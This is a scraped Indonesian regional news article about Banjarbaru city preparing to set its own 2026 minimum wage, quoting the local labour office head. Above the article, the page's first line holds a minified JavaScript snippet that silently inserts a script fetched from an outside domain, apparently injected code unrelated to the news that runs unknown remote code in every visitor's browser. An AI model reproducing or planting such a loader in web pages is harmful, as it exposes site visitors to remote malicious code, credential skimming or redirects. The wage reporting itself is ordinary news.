(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru memastikan akan menetapkan Upah Minimum Kota (UMK) 2026.
Dinas Koperasi Usaha Mikro dan Tenaga Kerja (Diskopumnaker) Kota Banjarbaru telah menyusun sejumlah persyaratan untuk dapat menetapkan UMK sendiri.
Kepala Diskopumnaker Kota Banjarbaru Sartono menyebut, pada tutup tahun 2025 pihaknya telah menyusun rencana, karena. Kota Banjarbaru telah memenuhi persyaratan untuk dapat menetapkan UMK sendiri.
Baca juga: Catatan Akhir Tahun Walhi Kalsel: ‘Kiamat Ekologis’ dari Deforestasi dan Alih Fungsi Hutan
Salah satu persyaratan adalah dalam tiga tahun terakhir pertumbuhan ekonomi Kota Banjarbaru berada di atas Provinsi Kalimantan Selatan (Kalsel).
“Atau pertumbuhan ekonomi dikurangi inflasi, hasilnya positif. Dari kedua persyaratan tersebut, kalau sudah memenuhi salah satu syaratnya maka suatu kota dapat menetapkan UMK sendiri,” ujar Kepala Diskopumnaker Kota Banjarbaru Sartono, Selasa (23/12/2025).
Kota Banjarbaru dari persyaratan tersebut telah dipenuhi sehingga tahun ini dapat menyusun rencana penetapan UMK Banjarbaru sendiri.
Baca juga: Akhirnya Kabel Optik Menjuntai A Yani Km 31,5 Dirapikan
Sedangkan untuk besaran UMK masih menunggu Surat Keputusan dari Gubernur Kalsel. Namun, Sartono memastikan besaran standar upah akan lebih besar dari Upah Minimum Provinsi (UMP).
“Karena persyaratan untuk menetapkan UMK harus di atas UMP. Alhamdulillah kalau di atas UMP kita bisa menetapkan sendiri dan kita usulkan ke Provinsi Kalsel,” jelas dia.
“Untuk angkanya kita belum bisa menyampaikan karena belum ditetapkan oleh Gubernur, makanya sifatnya kita usulan, tetapi dipastikan di atas provinsi,” sambungnya.
Baca juga: Kapolda Kalsel Cek Kesiapan Jelang Acara Rutin 5 Rajab Sekumpul
Pemko Banjarbaru telah memiliki Dewan Pengupahan untuk mendukung penetapan UMK di Banjarbaru ke depannya.
“Karena ada beberapa aspirasi dari masyarakat, kenapa UMK Banjarbaru tidak ditetapkan sendiri, jadi kemarin mengumpulkan data berdasarkan kriteria, indikator, variable untuk menetapkan UMK sendiri. Alhamdulillah terpenuhi,” tuntas Sartono. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.